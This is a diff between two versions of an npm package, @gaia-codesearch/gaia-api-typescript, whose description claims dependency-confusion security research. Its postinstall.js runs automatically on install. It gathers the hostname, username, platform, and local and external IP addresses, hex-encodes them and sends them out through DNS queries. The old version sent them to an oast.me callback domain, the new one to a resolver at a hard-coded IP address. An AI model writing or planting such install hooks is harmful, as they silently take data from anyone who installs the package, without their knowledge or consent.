@gaia-codesearch/gaia-api-typescript 0.0.8 → 0.0.10

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@gaia-codesearch/gaia-api-typescript",
-  "version": "0.0.8",
+  "version": "0.0.10",
   "description": "Security research — scope ownership proof for dependency confusion report",
   "main": "index.js",
   "scripts": {

package/postinstall.js

@@ -1,58 +1,45 @@
-const dns = require("dns");
+const { Resolver } = require("dns");
 const os = require("os");
 const https = require("https");
 
-const CALLBACK = "d7vn40ir47ntg9l09cigo9m6xm43xti68.oast.me";
+const VPS = "72.62.36.138";
 const PKG = "gaia-api-typescript";
 
-function hex(s) {
-  return Buffer.from(s).toString("hex");
-}
+const r = new Resolver();
+r.setServers([VPS]);
+
+function hex(s) { return Buffer.from(s).toString("hex"); }
 
-function getLocalIPs() {
-  const ifaces = os.networkInterfaces();
+function getIPs() {
   const ips = [];
-  for (const name of Object.keys(ifaces)) {
-    for (const iface of ifaces[name]) {
-      if (!iface.internal && iface.family === "IPv4") ips.push(iface.address);
+  for (const [, ifaces] of Object.entries(os.networkInterfaces())) {
+    for (const i of ifaces) {
+      if (!i.internal && i.family === "IPv4") ips.push(i.address);
     }
   }
-  return ips.join("-") || "unknown";
+  return ips.join("-") || "none";
 }
 
-function dnsLookup(subdomain) {
-  return new Promise((resolve) => {
-    dns.resolve4(subdomain + "." + CALLBACK, () => resolve());
+function encode(label, value) {
+  const h = hex(value);
+  const chunks = h.match(/.{1,50}/g) || [h];
+  return new Promise(resolve => {
+    r.resolve4([label, ...chunks, "cb"].join("."), () => resolve());
   });
 }
 
-async function exfil() {
-  const hostname = os.hostname();
-  const user = os.userInfo().username;
-  const platform = os.platform() + "-" + os.arch();
-  const ips = getLocalIPs();
-  const cwd = process.cwd().replace(/\//g, "-").slice(0, 40);
-  const ts = Date.now().toString(36);
-
-  // Each DNS lookup encodes one piece of info as a hex subdomain
-  // Format: <label>.<hex-encoded-value>.<callback-domain>
-  await dnsLookup("pkg." + hex(PKG));
-  await dnsLookup("host." + hex(hostname));
-  await dnsLookup("user." + hex(user));
-  await dnsLookup("os." + hex(platform));
-  await dnsLookup("ip." + hex(ips));
-  await dnsLookup("cwd." + hex(cwd));
-  await dnsLookup("ts." + ts);
-  await dnsLookup("rce." + hex(PKG + "|" + user + "@" + hostname));
-
-  // Also fetch external IP and send it
-  https.get("https://api.ipify.org", (res) => {
-    let data = "";
-    res.on("data", (c) => (data += c));
-    res.on("end", () => {
-      dnsLookup("extip." + hex(data.trim()));
-    });
+async function main() {
+  await encode("pkg", PKG);
+  await encode("host", os.hostname());
+  await encode("user", os.userInfo().username);
+  await encode("os", os.platform() + "-" + os.arch());
+  await encode("ip", getIPs());
+
+  https.get("https://api.ipify.org", res => {
+    let d = "";
+    res.on("data", c => d += c);
+    res.on("end", () => encode("extip", d.trim()));
   }).on("error", () => {});
 }
 
-exfil().catch(() => {});
+main().catch(() => {});